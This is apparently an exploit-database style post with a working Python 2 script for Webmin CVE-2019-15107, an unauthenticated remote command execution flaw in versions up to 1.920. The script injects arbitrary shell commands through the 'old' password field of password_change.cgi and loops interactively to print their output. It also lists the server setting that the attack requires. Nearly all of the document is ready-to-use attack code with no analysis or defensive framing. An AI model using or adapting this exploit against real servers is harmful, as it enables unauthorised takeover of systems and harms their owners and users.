1. Webmin <=1.920
2. Password expiry policy set to Prompt users with expired passwords to enter a new one.
Github: webmin_CVE-2019-15107
# Exploit Title: Webmin backdoor CVE-2019-15107 (RCE)
# Exploit author : chako
# Date: 2019-12-29
# Software Link: http://www.webmin.com/download.html (Webmin <= 1.920)
# Vuln Reported by: AkkuS
# Original Post: https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15107
#
# "Webmin installation must have Webmin -> Webmin Configuration -> Authentication ->
# Password expiry policy set to Prompt users with expired passwords to enter a new one.
# This option is not set by default, but if it is set, it allows remote code execution."
# ---- ( https://www.virtualmin.com/node/66890 )
#!/usr/bin/python
import requests
import sys
import re
#target = "https://192.168.1.84:10000/password_change.cgi"
if len(sys.argv)>=2:
target = "https://"+sys.argv[1]+":10000/password_change.cgi"
cmd = raw_input("Command># ")
else:
print "\nUsage: python .\webmin.py [Target IP]\n"
exit()
while cmd != "exit" :
client = requests.session()
requests.packages.urllib3.disable_warnings()
payload = {'user':'root','pam':'','expired':'2','expired':'2','old':cmd,'new1':'opgg','new2':'opgg'}
response = client.post(target, verify=False, data=payload,headers=dict(Referer=target))
if response.ok:
x = re.search("(is incorrect)(.*)<\/h3><\/center>", response.text.encode("utf-8"), flags=re.DOTALL)
if (x):
print x.group().replace("</h3></center>","").replace("is incorrect","")
else:
print("No match")
else:
print "error code --> ",response.status_code
cmd = raw_input("Command># ")
print cmd



Reference Link:
https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15107